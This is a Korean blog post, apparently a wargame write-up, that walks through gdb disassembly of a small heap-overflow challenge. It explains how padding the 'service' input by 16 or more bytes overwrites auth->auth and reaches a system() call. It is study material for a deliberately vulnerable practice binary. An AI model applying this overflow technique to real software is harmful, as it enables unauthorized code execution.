문제 소스코드입니다.

어셈블리어와 익숙해지기 위해 gdb로 모든 코드를 분석 해 보았습니다.

분석을 토대로 중요한 부분만 캡쳐해서 올리겠습니다.


두번째 if문을 보겠습니다.

0x0804865b <+64>: push 0x5 0x0804865d <+66>: push 0x804880d 0x08048662 <+71>: lea eax,[ebp-0x80] 0x08048665 <+74>: push eax 0x08048666 <+75>: call 0x8048510 0x0804866b <+80>: add esp,0xc 0x0804866e <+83>: test eax,eax 0x08048670 <+85>: jne 0x80486be <main+163> 0x08048672 <+87>: push 0x4 0x08048674 <+89>: call 0x80484a0 <malloc@plt> 0x08048679 <+94>: add esp,0x4 0x0804867c <+97>: mov ds:0x804a068,eax 0x08048681 <+102>: mov eax,ds:0x804a068 0x08048686 <+107>: push 0x4 0x08048688 <+109>: push 0x0 0x0804868a <+111>: push eax 0x0804868b <+112>: call 0x8048500 <memset@plt> 0x08048690 <+117>: add esp,0xc 0x08048693 <+120>: lea eax,[ebp-0x80] 0x08048696 <+123>: add eax,0x5 0x08048699 <+126>: push eax 0x0804869a <+127>: call 0x80484e0 <strlen@plt> 0x0804869f <+132>: add esp,0x4 0x080486a2 <+135>: cmp eax,0x1e 0x080486a5 <+138>: ja 0x80486be <main+163> 0x080486a7 <+140>: mov eax,ds:0x804a068 0x080486ac <+145>: mov edx,eax 0x080486ae <+147>: lea eax,[ebp-0x80] 0x080486b1 <+150>: add eax,0x5 0x080486b4 <+153>: push eax 0x080486b5 <+154>: push edx 0x080486b6 <+155>: call 0x8048490 <strcpy@plt>

$ebp-0x80은 line[128]의 시작주소를 가리킵니다.

main+140 에서 0x804a068은 auth->name의 주소가 들어갑니다.

그리고 네번째 if문을 보면

0x080486e0 <+197>: add esp,0x4 0x080486e3 <+200>: push 0x6 0x080486e5 <+202>: push 0x8048819 0x080486ea <+207>: lea eax,[ebp-0x80] 0x080486ed <+210>: push eax 0x080486ee <+211>: call 0x8048510 <strncmp@plt> 0x080486f3 <+216>: add esp,0xc 0x080486f6 <+219>: test eax,eax 0x080486f8 <+221>: jne 0x804870e <main+243> 0x080486fa <+223>: lea eax,[ebp-0x80] 0x080486fd <+226>: add eax,0x7 0x08048700 <+229>: push eax 0x08048701 <+230>: call 0x8048470 <strdup@plt> 0x08048706 <+235>: add esp,0x4 0x08048709 <+238>: mov ds:0x804a06c,eax

입력된 $ebp-0x80에서 "service" 문자열 다음에 들어오는 값들을 strdup함수를 통해 포인터로 할당해줍니다. 그 값은 0x804a06c에 들어갑니다.

그리고 마지막 if문에서 else로 가지 않고 if조건을 만족시키는 방법을 보겠습니다.

0x0804870e <+243>: push 0x5 0x08048710 <+245>: push 0x8048821 0x08048715 <+250>: lea eax,[ebp-0x80] 0x08048718 <+253>: push eax 0x08048719 <+254>: call 0x8048510 <strncmp@plt> 0x0804871e <+259>: add esp,0xc 0x08048721 <+262>: test eax,eax 0x08048723 <+264>: jne 0x804875a <main+319> 0x08048725 <+266>: mov eax,ds:0x804a068 0x0804872a <+271>: mov eax,DWORD PTR [eax+0x20] 0x0804872d <+274>: test eax,eax 0x0804872f <+276>: je 0x804874d <main+306> 0x08048731 <+278>: push 0x8048827 0x08048736 <+283>: call 0x80484b0 <puts@plt> 0x0804873b <+288>: add esp,0x4 0x0804873e <+291>: push 0x8048843 0x08048743 <+296>: call 0x80484c0 <system@plt>

main+266을 보면  0x804a068의 값을 $eax에 넣습니다.

(gdb) x/4x 0x804a068
0x804a068 :	0x0804b008	0x0804b018	0x00000000	0x00000000

즉 $eax에는 0x804b008이 들어가게 되고 auth->auth 값이 있냐 없냐에 따라 분기문을 통해 결과가 나옵니다.

$eax+0x20은 0x804b028입니다. 이곳에 값을 넣어 주면 문제가 클리어 됩니다.

(gdb) x/10x 0x804b008
0x804b008:	0x41414141	0x0000000a	0x00000000	0x00000019
0x804b018:	0x41414120	0x41414141	0x41414141	0x41414141
0x804b028:	0x00000a41	0x00020fd9

strdup에 의해 생성되는 service 영역은 0x804b018부터입니다. 파일을 실행하고 input할때 service에서 더미값을 최소 16개를 주면 auth->auth에 값이 오버플로우가 됩니다.


'HACKING > System hacking' 카테고리의 다른 글

CTF pwn 문제용 nc 서버 만들기  (0) 2018.02.15
GDB BP에 관한 것  (0) 2017.11.29
heap overflow 문제풀이2  (0) 2016.11.02
heap overflow 문제 풀이  (0) 2016.11.01
BOF 원리와 문제 풀이  (0) 2016.10.26

+ Recent posts